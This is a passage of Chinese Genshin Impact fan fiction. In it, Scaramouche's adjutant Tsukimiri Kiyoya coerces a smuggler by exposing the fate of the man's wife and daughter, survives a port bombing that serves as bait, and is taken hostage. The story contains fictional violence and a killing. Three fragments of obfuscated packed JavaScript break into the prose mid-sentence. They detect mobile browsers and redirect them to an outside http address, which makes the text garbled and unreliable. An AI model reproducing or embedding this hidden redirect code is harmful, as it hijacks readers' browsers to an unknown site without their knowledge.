先遣队的实力在整个愚人众里说不上有多好,但贵族可不懂这些,他们见到的正是几位执行官想让他们看到的。 人类的贪婪是他们的劣性根,只要给他们一点好处,他们就会变本加厉起来。 有了一定信心基础的贵族们不出意外下一步就是商讨联盟。 散兵点了点其中一个贵族的领地,吩咐道,“这几天着重盯着这位。” 他指着的是领地临近港口的一位贵族,月见里清也认出这是折了将近半数先遣队的那位贵族老爷,“斯米尔诺夫,情报里说他脾气不怎么好,如果几位贵族要联合,从实力和脾气上来说那这位还真是‘当仁不让’啊。” “如果真的是他,袭击点都不用选了,他的私人港口每天可不知道要来往多少船只。”月见里清也说着在地图上指出一处港口,“把他的港口充公,断掉他的财路,指不定有多么跳脚呢。” “马上就进入雪季了,趁着海水没结冰赶快在捞上一笔,他们贵族不都这样唯利是图吗?”散兵嗤笑一声。 像是为了印证散兵的猜测,没过几天月见里清也就收到了手下传来的情报——斯米尔诺夫被其他贵族秘密推举成领头人。 具体是用什么手段坐上了这个位置,月见里清也说不准,但计划该进行下一步了。 用点小手段让私人港口被充公,以贵族的脾气和唯利是图的性格肯定是咽不下这口气。 同时漏洞也很明显,斯米尔诺夫是个商人,而一个商人是精明计算的,这真的能成为他对第六席出手的导火索吗? 这也是月见里清也想不明白的一点。 那位贵族真的会不顾大局的来追杀吗?对他来说走错一步就满盘皆输。 提到这个问题散兵的脸色不是很好,却意外的肯定,“他会,足够的利益面前,他会的。” 但散兵却没有明说“足够的利益”指的是什么。 港口的归属挂职于某家公司,而它每年产生的利润大多数还是进了贵族的口袋,私人港口的好处不用多说,出行便利、带来巨大利润……以及运输一些违法的东西。 虽然现在这些都是捕风捉影没有实证的事,但谣言有时候不是凭空捏造的。 一个士兵过来行了一礼问道:“月见里大人,人已经带来了,现在就审吗?” “嗯。”月见里清也应着,带人往审讯科走。“那边送过来几个人?” 士兵回道:“一个。” “一个?”月见里清也闻言停下脚步,皱眉看向士兵,“你确定就送过来一个?” 小士兵是刚入伍没多久的新兵,不懂这里面的弯弯绕绕,呆呆地点了一下头。 “这帮老狐狸······”月见里清也暗自咬牙,抬脚继续往审讯科走。 前几日第六席的先遣队和其他几席的队伍抓到一帮走私的人,好消息是这帮走私犯还和贵族的私人港口牵扯颇深,坏消息是这伙人最终没有落在第六席的手里。 月见里清也一连几日都在跟对方外交部磨嘴皮子,最终对方松口同意将走私犯给第六席审问,却没想到十几个人的走私队伍只送来了一人。 第六席审讯科,士兵们七手八脚的将一个蓬头垢面的人按在座椅上,给他带上镣铐。 审讯室外的监控室,月见里清也站在单向玻璃前接过一旁士兵递过来的资料,时不时抬眼盯着里面的进度。 里面正在被审讯的男人名叫伊森,曾经任职于贵族私人港口船舶调度中心,面对审讯员的审问,他始终坚持自己的说辞,将贵族撇的干干净净。 眼看审讯陷入僵局,一旁的士兵小心询问道:“大人,接下来要怎么办。” 只见月见里清也不慌不忙地从手里的一沓资料里抽出几张,微微抬头示意士兵:“开门。” 他进入审讯室,其中一名审讯员主动让出了位置,他看向坐在审讯椅上的伊森,目光无神,身形憔悴。 月见里清也不清楚他在其他几席经历了什么,没看着有明显皮外伤,但皮肉之苦或许并没有少受,再对他施加肉身上的痛苦也没有意义,月见里清也打算换另一个方向。 “前任港口调度员,亲属已故。”月见里清也并未进行任何询问,只是念着港口公司找来的员工资料。 果然,在念到亲属已故时,伊森的表情松动了一下。月见里清也将刚刚从资料里抽出的几张纸交给士兵,士兵放在了男人面前。 “我想你应该认识她们。”月见里清也说。 男人空洞无神的眼睛注意到纸上的内容,开始有了情绪变化。 那是一种复杂的情绪,悔恨、不甘、害怕交织在了一起,他喉咙里发出呜咽。 月见里清也则是饶有趣味的盯着他,继续问道:“认识么?” 男人声音沙哑的和砂纸一般沙哑,“你……你不能!怎么会…他们明明答应了……” 月见里清也挑眉:“看来是认识。” 两页纸,一页是他的妻子的资料,另一页则是他女儿的资料。 贵族伪造的资料漏洞百出,可以说从一开始就没有替伊森照顾好妻女的想法,而查出伊森妻女的身份对月见里清也来说简直是易如反掌。 “在你截杀第八支先遣队前,他们给你保证你的家人不会被女皇的走狗们找到,对不对?”月见里清也从容不迫道:“但别忘了,整个至冬都在女皇的掌管下,你凭什么觉得他们能瞒天过海。” 男人伸手试图抓住眼前那人的灰白毛领大衣,却被镣铐生生禁锢在座椅上,他哀求着:“求求您放过她们,她们什么都不知道!” “别动!”审讯室的士兵上前按住男人。 然而月见里清也并没有绑架他的家人,“我想你是误会了,难道不是你亲手将她们送到贵族的手里寻求保护的吗?” “什么?”男人没有反应过来,呆呆地问。 月见里清也说:“你年轻时就职在私人港口,几年后担任船舶调度员,同时薪水跟着往上翻了三倍,他们在干什么勾当,你真的不知道吗?” “而后你被同事带着染上了赌瘾,钱财很快挥霍一空,你欠钱还不起,这时候你又借上了高利贷,可你有没有想过,谁能有胆子在贵族眼皮子底下开赌场、放高利贷?”月见里清也挥手让士兵松开按着男人的手,缓缓走到男人的身前,“最后你实在还不起了,他们就说帮他们做一件危险的事,钱可以一笔勾销,你的妻女他们也可以照料。” 月见里清也俯视着男人,脸上虽挂着笑容,但那笑容看了让人生寒,他伸手拍了拍男人的脸颊说:“真是个卖妻女求生的好父亲,真是个被算计一生都不咬主人的好狗啊!” 对贵族来说,像伊森这种人只不过一些微不足道的蝼蚁而已,他们怎么可能费心费力的安排他们妻女的后半生生活,多半迷药一下,麻袋一套,就转手将人卖了出去。他们既赚了钱,又有人帮忙解决那些棘手的麻烦,还有孤儿寡母这些现成的商品,简直一举三得。 对于伊森的妻女来说,她们怎么也想不到是自己至亲将自己推入了深渊。 “不!不是!”男人崩溃喊道,“不可能…不可能的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896343|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这次月见里清也没等一旁负责看押的士兵动手,直接掐住了男人的脖颈,按在椅子靠背上让他动弹不得。另一只手向一旁摊开,士兵立马会意,将镇定剂交到他的手上。 他手法粗暴地将药物注射进去后,才将手松开。不一会药效发作,男人渐渐安静下来,但他显然无法接受现实,脸上涕泗横流,脏乱不堪。 月见里清也讥讽道:“希望你没有忘记这里是审讯室,脾气再好的狗急了也会反咬人一口,还是说你连狗都不如?” 看着男人在新的口供上签了字,月见里清也这才准备离开,像是嫌脏一般将触碰过男人的手套摘了下来,扔到一旁垃圾桶里。 拿着口供出门前他吩咐下属,“你们看着办,不要在这里碍眼。” “是,大人。” 月见里清也离开审讯室走到走廊的拐角处时,听到身边士兵喊了声“执行官大人”,这才发现散兵在走廊尽头的窗户那里站着。 下午的阳光正好透过窗户照进来,像是给散兵身上洒了一层金粉,月见里清也支开身边的人走过去,“大人。” 散兵“嗯”了一声算是给了回应,月见里清也明显有些意外,“大人怎么会在这?” “有事路过。”散兵正在看刚审出来的口供,随口回道。 月见里清也简单想了一下散兵的今日行程,没记错的话散兵今天要处理的事务是不会经过审讯科这边的。 散兵目不斜视,试图忽略掉月见里清也探究的目光。 他明显不想在这里多呆,抬脚就走,月见里清也落后两步,带着笑意说:“咳,大人还日理万机,肯定不是特意来找我的,就是不知大人接下来忙不忙?” 散兵:“……” 装得有模有样的。 要不是彼此相处了几百年,恐怕他也以为月见里清也是什么谦谦君子。 不说话在月见里清也这里权当默认,他不紧不慢的跟在散兵身后,张张嘴仿佛又要说什么。 散兵深知月见里清也满嘴跑火车的功力,打断道:“我本以为你会不适应,看来是我多虑了。既然如此,月见里副官,我希望在下班前你能将报告放在我的桌子上。” 说完脚下步子方向一变,说走就走。 “嗯?”月见里清也一愣,连忙追上去:“口供不看了?我开玩笑的。” “差点忘了口供,”散兵看着他,脸上挂着那副士兵看了就犯怵的笑,“下午六点前,报告和口供,有问题吗,月见里清也?” 月见里清也:“……” 完蛋,玩脱了。 走廊上时不时路过一两人,这位置又紧挨着几间办公室,显然不能耍赖蒙混过去,月见里清也硬着头皮说:“没问题大人。” 散兵脸上的笑意更盛,矜持地一点头,走的没有一丝留念。 月见里清也深深叹了一口气,垂头丧气地回去赶报告了。 下午六点五十,月见里清也卡着死线将报告和口供呈到散兵的办公桌上。 此时的散兵还在看公文,月见里清也数了数,不加自己的这份,最起码还得有十来份文件。 散兵不喜欢积压工作,送上来的文件都是第一时间批阅,这些文件应该都是刚送来的。 月见里清也把自己手里的那份放到一旁问道:“这是…又准备加班了?” 说完习惯一伸手拿起一份,却不料散兵直接抽走了他手里的那份,“不用,一点小事,都处理完了。” 月见里清也手上骤然一空,他搓了搓手说:“下午的时候,你为什么说怕我不适应?” “新的环境、陌生的人际关系和从来没有接触过的事务,”散兵撩起眼皮看他,一一列举,“以常人来说,这些都不是什么能轻松解决的问题吧?” 月见里清也上任后就开始各种大刀阔斧的改革,如果第六席不是散兵的一言堂,他恐怕早就上下得罪了个遍。 “啊……”月见里清也半开玩笑感叹了一句,“还好我不是人。” 散兵被他这大言不惭的话给噎了一下,无语片刻,“骂起自己来倒是不含糊。” 月见里清也摆摆手,“好了,说正经的。” 他看向散兵说:“可能是因为我有人给我兜底,我有底气吧。” 就像之前说的,第六席执行官完全相信这位行事有些不同寻常的副官。 那他总要毫无顾虑的放手一试。 5. 真正的计划 敲掉私人港口的任务如想象中进行的顺利,第六席将贵族进行人口贩卖的证据提交上去,再由高层运转,顺利的端掉了斯米尔诺夫的聚宝盆。 令月见里清也没想到的是,第四席[仆人]库嘉维娜也参与了进来,可能因为港口贩卖的人口里也包括儿童,他没多想,执行官之间的事他也无权插手。 趁着空闲,月见里清也去档案馆里调出了五年前那场意外的记录。 卡斯珀说的没错,当初谎报情报的士兵确实牵扯较深,他是贵族插进来的间谍,想到最近愚人众与贵族的冲突也就不难猜他们的目的。 愚人众的建立触及了贵族的利益和权利,为了保住他们的地位,他们开始想尽一切办法阻挠愚人众的建立。 于是一场有预谋的袭击出现了,加上那时候流传的八卦,目标自然是或许能成为执行官的散兵和月见里清也。 这场意外的前因后果十分清晰,一切都说的通,但月见里清也总觉得还有这地方不对劲。 五年前的他只是一个普普通通的士兵,稍微打听一下就能知道他的实力不及他的哥哥,根本没有设计袭击他的必要。 并且这些档案里并未记载有关博士事,卡斯珀没必要扯谎,要么是博士暗中行动,要么是他自己抹掉了有关自己的事。 再深层的资料已经被封锁,以月见里清也的权限无法查阅,他只能遗憾地将资料放回去,思索着下次把散兵的权限卡顺出来的几率有多大。 几日后,月见里清也收到了出发的通知。这次虽然是他第一次以第六席的身份执行任务,但也能看得出来,这次的准备工作过于隆重了。 仿佛是要闹得整个至冬都知道第六席要离开至冬了。 不过也不难理解,第六席越隆重,越是耀武扬威,才能让打在斯米尔诺夫脸上的巴掌更疼。 而在月见里清也等人看不见的地方,一份报告被递到了办公桌前。 一中年男子打开了这份报告,他体态臃肿,棕发间掺杂着不少白丝,一只手上带着满满当当的戒指。 这就是前几天被断掉一条财路的斯米尔诺夫老爷,商人最看重利益,港口被查时他怒不可恕,却也无可奈何。 一旁的管家生怕再次惹老爷生气,小心翼翼地问,“您确定要这么做吗?” 斯米尔诺夫阴郁地笑了笑,“不过成立没几年的组织,仗着女皇给的权威,还真把自己当回事了。” …………… 第六席前往计划中的港口,准备“离开”至冬。 一路上风平浪静,让月见里清也不免有些怀疑是不是提前走漏了消息,但散兵自始至终都是一副都在计划之中的样子,他也不好多问。 考虑动起手来的安全问题,这次来的港口不是人流量最多的港口,但左等右等不见贵族有什么动作,让月见里清也有些担忧,打算去问散兵下一步对策时,余光注意到一直在队伍附近打转的人。 月见里清也一手抄兜,装作游客的样子靠近他,却在口袋里摸到了异物的触感。 他将东西掏出一看,是一个雪花样式的装饰品,很像至冬过节时用的装饰物。月见里清也明明记得这件衣服是刚洗过的,口袋没有东西的才对。 就在这一打岔的功夫,一直鬼鬼祟祟的人突然撒腿就跑,月见里清也无暇顾及手里的东西,将东西往兜里一扔就追着人而去。 他一路追着人来到港口东侧,东侧港口放的货物居多,那人在层层叠叠的货物中左绕右绕,逐渐消失在月见里清也的视线里。 月见里清也见人跟丢就准备返回汇报情况,一回身发现堆放的货物里透出不正常的光芒。 他将外层的袋装货物搬开,隐藏在货物里的东西露出了全貌,一个个半人大的罐子里装满了黄紫色分层的液体。 虽然月见里清也不曾去过枫丹,但是他从书上见过。 这是由枫丹的荒芒能量做成的炸弹。 月见里清也心里直骂,心说真是疯了,炸港口是那个牲口想出来的主意。 东侧港口虽然来往人数不多,可谁也不知道知道这堆货物里有没有其他易燃易爆物品。 落后一步跟着月见里清也跑过来的士兵见到炸弹也一时愣在原地。 “去通知大人,离港口东侧越远越好,”距离爆炸近的月见里清也推了一把身边的愣住的士兵,骂到:“跑啊,愣着干什么,等死吗?!” 虽然目的就是引贵族动手,但不能真的放任炸药爆炸,鬼知道贵族有没有丧心病狂到给其他地方放炸弹,真要炸了女皇可以准备新建一个第六席了。 一夜回到解放前,多好。 堆放在港口炸药不是计时的,控制炸药的人肯定不会待在炸弹附近。 离这里有一定距离,又看得见这里的地方…… 月见里清也环顾四周,确定了一个能看到这里一举一动的位置。 他刚来到炸弹爆炸范围的外围,就见一个工作人员在这里清点货物。 月见里清也截住他询问仓库出入情况,那人却慌慌张张找了个理由唐塞,想要离开这里。 月见里清也伸手拦住他,那人将手上的东西胡乱地向月见里清也扔过去,转身就跑。 他想也不想直接追过去,没追几步听到有人过来的脚步声,他回头看去,发现一个士兵跑地上气不接下气,“月见里大人!执行官大人说,让你赶紧回去……” “……”太过巧合傻子都能看的出来这是个套,月见里清也听后皱了皱眉,直接打断了他,“你是那个队的,队长是谁?” 依照他对散兵的了解,不管找没找到幕后的人,他绝不会让一个士兵来通知自己回去。 这么兴师动众的,目标不是散兵就是他,以现在的情况来看,多半是是冲他来的。 面前这个士兵说出一个先遣队队长的名字,可惜不论他说什么,月见里清也都不会信一个字。 他抬眼上下扫视了一圈眼前士兵的衣着,懒得和对方兜圈子,突兀地笑起来:“连每一席制服会有细微差别这种情报都收集到了,还不错。” “但你刚才说的那位队长,今天临时变动不参加这次行动,你们这消息滞后性有点严重啊。” 月见里清也右手背在身后,一把青色长刀在他手上浮现,说到最后都有点无奈,“最重要的是我不脸盲,记性也挺好,不至于转头就忘了那几个小士兵的样子。” “士兵”知晓自己暴露了,突然暴起向月见里清也扑过来,月见里清也早有准备的一刀挡住对方武器,手腕一转将对方武器挑飞。他没直接命中要害,毕竟还要留个活口审问。 而下一秒却见对方扯开外衣,外套里的衣服里绑的是小型的炸药。 月见里清也暗骂一声,来不及避开只能直接一脚将对方踹飞出去,爆炸声在身后响起,几秒后安装在港口东侧的炸药也跟着一起爆炸。 东侧爆炸声引起了所有人的注意,散兵看向冒着浓烟滚滚的东港口,收起手里的东西,心里有些焦躁。 “大、大人!”从东侧跑来了两名士兵,上气不接下气的说,“月见里大人说东港口有炸药,刚刚不知道为什么突然炸了。” 东港口被炸成这样,傻子都知道被人按了炸药,散兵强行压下焦躁,“月见里清也人呢?” “月见里大人只让我们赶紧回来禀报,自己还留在东港口……” “该死。”散兵暗骂一声,他早就知道会如此,但当事情真的发生时,他并不像自己想象中的平静,“去疏散人群,整个港口封锁排查,一个人一个人的查,把港口给我翻过来也得把幕后主使找出来。” 散兵说完亲自带人往化身一片火海的东港口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但剩下执行官们在乎的实在是太少了,『博士』多托雷每天醉心于他的实验,『少女』哥伦比亚对周围一切事物都麻木不仁,还有个让一群孩子给自己卖命做间谍的『仆人』和痴迷于自律机关研究的『木偶』等等,挑来挑去,最后符合条件的只剩下第六席。* 因为斯卡拉姆齐有个弟弟,不惜耗费五年时间都要让他再次醒来的弟弟。况且月见里清也掌握的实权远超副官应该拥有的,如果散兵不偏爱他,月见里清也怎么会掌握那么多的权利? 最重要的一点,散兵作为人偶,寻常手段根本杀不死。 “我救活他不是给你们当枪使的。”当时的散兵想也没想,直接拒绝。 这也是这场会议为什么开了这么久,直到最后,女皇都降下恩赐保证月见里清也不会发生意外,大势所趋,散兵不得不同意。 所以散兵对月见里清也所说的计划并不是计划的全部。 他隐瞒了贵族袭击他们的理由,那就是以月见里清也要挟散兵,重伤第六席。 为了确保计划顺利进行,他们会提前透露私人港口被发现是月见里清也从中作梗,以及月见里清也和散兵之间的关系。 愚人众透露出情报,贵族设计重伤月见里清也,以他作为要挟,以命换命。 再简单不过的计划,散兵假死,贵族增长了野心又铲除了对方一大兵力,反叛只是时间问题。 现场除了尸体也没有发现任何东西,看来是女皇和他提前施加的防护起了作用。 “大人!我们在东港口出口处抓到了一个形迹可疑的人,从他身上搜出来了一个类似遥控的东西。”一个士兵跑来汇报,双手呈上了一个黑色小巧的装置。 整个第六席的士兵都能感觉到自家执行官身上的低气压,更别提到现在不知所踪又生死未卜的月见里清也,他们都不敢怠慢,迅速封锁了整个港口,然后找出了混在一堆普通乘客中的嫌疑人。 散兵没管那个遥控装置,反正作为“炸毁东港口”和“袭击愚人众要员”这两个罪名的证据,下属会知道如何保存的,“把人看好了,有些事还得亲自问问他。” 鱼已经上钩了,这个时候作为废棋被丢在这里的人,那就来看看能从他嘴里撬出点什么有意思的来吧。 散兵才不会顺着戏本演下去,应该说,睚眦必报才是他的性格。 6. 蒙在鼓里的人 月见里清也醒过来的时候眼前一片漆黑,只有远处隐隐约约传来的声音。 “这真的能行吗?” “怎么不行,老爷听说这件事都从领地赶过来了。” “万一、万一他提前醒过来了怎么办,咱们都没神之眼,怎么可能打得过他?” 看守的担心不是杞人忧天,能让一个人昏睡一天的麻药确实对月见里清也不起作用,他昏迷的原因多半是爆炸的冲击波造成的。 他悄悄摸了摸捆住自己手腕的东西,只是普通的麻绳,他本想悄悄的用雷元素把绳子电开,却发现自己没有法感知到一点元素力。 “哎呀,看你胆小的样。”看守的声音又传了过来,“你刚才看他有神之眼么?再说了咱们都给他安上约束装置了,他即使有元素力也用不出来。” 月见里清也闻言放弃了继续催动元素力,经过这一会的适应,他勉强可以看清楚这漆黑房间的构造。 目测十平米的小房间,窗户估计从外边用木板钉死了,只能透出几缕光来,不过从房间漆黑程度来看,应该已经入夜了,距离东港口被炸起码过了五个小时。 看守就守在这小房间的门口,找不到尖锐物品的月见里清也右手握住左手的拇指,接着狠狠一拽。 他咬牙忍着痛,尽量不发出动静引起看守注意。 脱臼的手指使不上力气,摆弄了半天才绳索中挣脱,随后右手从绳索里解开。他紧接着深吸口气,握着脱臼的拇指硬接回去。 五个小时足够发生很多事情,事情的发展已经超出了预计的计划,月见里清也回想着爆炸前发生的种种,心里的疑问越来越深。 “在最大的利益前,贵族绝对会动手”。 可这利益是什么,月见里清也并不清楚,涉及到和那天的会议有关的问题,散兵总是给个模棱两可的回答。 但他并不傻,港□□炸就是冲他来的,五年前深渊袭击姑且算贵族不知道执行官是谁,如今他们肯定知晓执行官是散兵而非自己。 只是把他绑来又不杀他,恐怕在贵族眼里自己只剩下了一个用途——威胁散兵。 月见里清也想通这点后差点被气笑,连左手的疼痛都感觉不到了。 他倒不气自己被利用,这种计划多半是执行官会议上定下的,要论起来确实第六席符合条件。月见里清也并不为这个生气,只是被从头蒙到尾的感觉令他十分不爽。 他在心里把自己的哥哥从头到脚骂了个遍,等左手缓的差不多后,把脚上的绳子解开。 他虽不喜欢被别当做人质威胁散兵,但这是计划的一环,他不得不做个样子。 既然贵族抓得到他,那想必他本人的资料已经被贵族知晓,不做出一些反抗反而会露馅。 戴在右手上的黑色手环估计就是他们所谓的“约束器”,从看守的对话来看,这东西顶多就是限制住自己对元素力的使用,没有其他影响。 没有元素力就意味着他暂时拿不到自己的长刀,但幸好用来捆他的绳索足够长也足够细。 他抬脚踹翻了屋子里唯一的桌子,随即躲到门后,巨大的声响引起了看守的注意,“怎、怎么了这是?” “醒了?不能吧,那可是麻到一个成人一天的量啊,我看看。” “别、别吧,万一……” “什么万一啊,他要是跑了咱俩都别想好过,都说了带着约束器怕什么啊。” 在门口的月见里清也听见钥匙插入锁孔的声音,月见里清也绷紧绳子,整个人就像准备捕食的长鬓虎一般蓄势待发。 “人呢……啊!”看守一句话不等说完,月见里清也迅速将绳索套住对方脖子,而后狠狠一拽,看守直接被拖进屋里,月见里清也捏住对方脖子一拧,原本还在挣扎的看守立马没了动静。 这一套动作月见里清也刚在脑海里想了好几遍,动作干脆利落,完成不过一瞬间。 另一位看守吓的立马向走廊另一段跑去,月见里清也从死掉的那位身上搜出一把枪。 他颠了颠这把枪的轻重,抬手瞄准已经跑出一段距离的看守。 “碰”的一声,子弹打在了墙壁上,随后右手上传来疼痛蔓延到全身。 月见里清也只是做戏,不能真的逃出去,他本想让子弹偏移一寸,但突如其来的疼痛让他直接打到墙上。 “警惕性还挺高。”月见里清也想着,手上顺势一松,枪支掉落在地上的声音回荡在走廊里。 “哎呀,还真不愧是在愚人众里能坐上这个位置上的人呢,这个疼痛级竟然还能站着。”走廊另一头站着一个穿黑色正装的男人,身后还跟着几个下人,手里拎着那位慌里慌张的看守。“如果我不是我早到了十分钟想看看大人您还能给我带来什么惊喜,不然您就离开了不是么?” 那人说话尾音总喜欢上扬,眼神带着对物品探究的意味让月见里清也感到不适,他本想开口讥讽几句,但想着自己在他们眼里还是正常人类,干脆直接闭嘴,演出一副被剧痛折磨地说不出话的样子。 “既然大人精力这么十足,那不介意在正事开始前先进行一些私人谈话吧?”男人说完瞥了一眼旁边的人,“还不去请大人过去?” “想必大人对这里还有点印象吧?”月见里清也被七手八脚按到一个房间的座子上,被重新用铁链绑好后,就听见了这么没头没脑的一句。 他抬头看了看再简单不过的房间,房间里没有任何装饰,只有左边的墙壁跟四周的比起来有些斑驳不堪,像之前在墙上钉了许多东西又被粗暴扯下,实在是不知道自己和这么个小破屋子有什么源渊。 男人也没想等月见里清也的回答,自言自语道,“那我提醒大人一句,十年前,雪夜和叛徒。” ………… 一张张相片被钉子钉在墙上,不同颜色的线穿梭其中,构成了一张复杂的关系网,窗帘遮住了白日的光线,昏暗的房间只剩下红色的火星明明灭灭。 屋子里的男人异常焦燥,抬手把一口没抽的烟掐灭,他的视线扫到桌子上信,信中没有朋友的问候与关怀,只有一句简单不能再简单的一句话: “雪要来了,当心。这次我们不会给你提供帮助,关系图明天必须送来。” 男人用力抓了一把自己乱糟糟的头发,突然冲向他自己精心制作的关系网,抓住交错的线用力扯下,除了极个别没受牵连的照片还在上边,其他的照片纷纷落下。 他后悔吗? 他的确后悔,如果老老实实待在枫丹认罪,他最多在梅洛彼得堡待上几年而已,而不是像现在这样身在异国他乡,每天省吃俭用还过着提心吊胆的日子。 可惜世上没有那么多如果,也从没有什么天上掉馅饼的机会,几年前突然出现的“机缘”,只不过他对于某些人来说有可利用的价值罢了。 而他的“价值”早就在这张关系网完成时就以经没有了。 至冬的冬季马上就要来了,而他除了这封提醒他即将迎来生命倒计时的信外,并没有收到任何帮助。 他把仅剩的摩拉拿出来准备到楼下酒馆买瓶水火喝,他知道自己这时候应该冷静下来想接下来的出路,而不是把所有的钱拿去买醉。 他也不知道自己是什么心理,或许是给自己壮胆,亦或是最后奢侈一把。 男人许久不出房间,也很长时间没有收拾过自己,蓬头垢面的样子引来了许多路人侧目。但他已经不在乎了,至冬的水火比其他国家的酒度数高上很多,等到他喝的心满意足回来时,理智已经快被酒精泡没了。 当然也忘了他现在的处境。 等他看到自己房门被打开,沙发上坐着一个人时,酒直接被吓醒了一大半。 来人看起来不大,绀色长发被随意扎起来,姿态放松的靠在沙发上,仿佛他才是这间出租屋的主人,堇色的眼睛看着男人,露出一点笑意,“亚里沙·韦尔,还真是好久不见,近来可好?” 亚里沙却笑不出来,身体本能的想跑,被酒精麻痹过后的神经却让他跑的东倒西歪,等他再起身的时候,那少年已经站在他面前,像真正的朋友一样把他扶进屋里,扔到沙发上并反锁上了门:“这就是要少喝酒原因,酒精让你有了冲动的底气,我猜你在枫丹也是因为喝了酒?” 少年看着还在挣扎的亚里沙,掰起他的头,语气里带着戏谑。“新兵入伍的时候应该都强调过逃兵是什么下场,哦对,我忘了你连叛徒都不是呢。” “我说的对吗?卧底亚里沙先生?” 少年长相俊逸,仿佛下一秒就要将匕首送进对方胸膛的不是他一样。 在死亡的恐惧面前亚里沙几乎无法说出话来,“不……求……求求你……” “你应该庆幸今天来是我,我没有那么多时间浪费在你这里,不然你可能不会死的这么轻松。”少年无视了亚里沙的求饶,快速的将匕首送进对方胸膛,鲜血涌出,顺着刀身流到了黑色手套上。 少年直接抽手,连刀都未拔出。 随后他转向那副残破不堪的关系网,上面仅存的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896345|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两张照片就有他一张,上边标注着名字:月见里清也。 幸存的原因很简单,因为他的相片只和另一个跟他长的极为相似的人有连线,另一张照片标着:“姓名不详,疑似第六席候选。” 月见里清也把两张照片撕下,再也没看亚里沙一眼,直径离开。 月见里清也从回忆里抽身,眯眼看了看面前的男子,眉眼和记忆里的亚里沙有几分相似,“你指的是亚里沙?” “哈,看来大人还不算贵人多忘事。”黑色正装男子说着,脸上的笑容有些夸大,“他的弟弟,乔里安。” 月见里清也有些不明所以,亚里沙只是他出任务顺手解决掉的卧底,此人先前在枫丹犯了罪,贵族便递出了橄榄枝,帮助他逃离枫丹,代价是去愚人众内部卧底偷取情报。 至于他为什么会被发现而后被月见里清也杀死,完全是因为在得到情报的贵族眼里他已经没有价值了。 “所以呢,你是来寻仇的?”月见里清也不怕得罪人,十分确定乔里安不敢对作为人质的自己动手。 乔里安继续笑着,“不不不,怎么会呢。多亏了大人帮助,杀掉了我那个废物哥哥,我才有机会接触到老爷的人,才会有今天的地位。” 月见里清也看着眼前男子越说越陶醉,终于从脑海中某个犄角旮旯里想到了亚里沙还没暴露时曾说过,他有一个心理不太正常的弟弟。 “我可比我那个废物哥哥好了不知多少倍,啊对,我这么说大人肯定会一头雾水,那我说的清楚一点。”乔里安故作姿态,也不管月见里清也是否回应。 “五年前那场意外,是否还让您记忆尤新呢?” 一直默不作声的月见里清也听到这里才开口,直视着他,“五年前的那场袭击主谋是你?不止吧,我猜……今天这出也得有你一份功劳?” “要不怎么说多亏了大人呢。”乔里安笑容一点点扩大,“放心,作为计划重要的一环我是不会对大人怎么样的。虽然当年你在杀我哥哥的时候造成的小麻烦让我有些苦恼,不过我这个人很宽宏大量。” 月见里清也皱眉,当年杀亚里沙他唯一干过超出任务的事就是撕了墙上他和散兵的照片,但结合之前乔里安说的,他豁然开朗。 五年前他是秘密接到杀掉亚里沙的任务,原本完成这件事的人并不是他。月见里清也的行动要比贵族预计的快,在亚里沙死的时候,贵族很有可能没拿到完整的关系图,分不清到底谁才是第六席候选,只能通过当时的谣言,最终确定袭击目标是月见里清也。 意料之中的,他们选错目标了。想到这的月见里清也脸上的表情舒缓了不少,也有耐心继续听乔里安叨叨了。 “不过我有一件事很好奇……” 话还未说完,就见乔里安直接伸手过来,像品鉴艺术品一样从他的眉骨摸到脸颊。“我一直很好奇大人的那位执行官哥哥到底有什么过人之处,听说愚人众里有一位沉醉自己实验的执行官,能活着走出他的实验室的人可不多。” “如果你很好奇,我可以免费送你进去体验一二。”陌生的触感让月见里清也从胃部泛上一阵恶心,他猛地朝一旁侧头,冷声道:“拿开你的手,不然我不保证下一秒他还待在你的胳膊上。” “切……”乔里安面露出不耐的神色,他并不觉得带着约束器又被绑在这里的月见里清也还能翻出什么花样来,但考虑到情报上说的内容,还是收了手。 两次计划的成功几乎使他的内心膨胀,现在看来愚人众不过一些绣花枕头,自己使点伎俩就能让这位副官栽在他手上两次,那位执行官估计不怎么样。 想到这的乔里安忽略了月见里清也的话,无非是将死之人的叫嚣罢了,有什么值得他听的呢? 也就是这份自傲,让他忽略了从已经死透的看守身上搜到又藏在月见里清也手套中的刀片。如果他不收手,下一秒月见里清也可能忍不住直接划开他的咽喉。 月见里清也暗自吐了一口气,强行压下生理上的不适。 这时门外传来看守的通报,“先生,老爷说那边都安排好了。” 乔里安抬手表示自己知道了,而后又看向月见里清也,“走吧大人,你该见见熟人了。” 月见里清也在愚人众里除了卡斯珀没什么朋友,这个“熟人”只能是散兵。 按照他理解的剧本,接下来戏就该是双方无法达成共识,士兵破门而入,直取贵族的项上人头。但不知为何,在他踏出房间的那一刻,有种说不上来的心慌。 7. 捅向胸口的匕首 乔里安将人带到一间房屋后,抬手示意稍等。他从口袋摸出一个针管,动作娴熟地扎向月见里清也的脖颈。 “只是一点肌肉松弛的药物,为了防止一会大人情绪太激动。”乔里安依旧是那副上扬的语调,说完后才敲门进去。 月见里清也不是很在意,他并非人类,这些药剂对他的影响可以忽略不计。 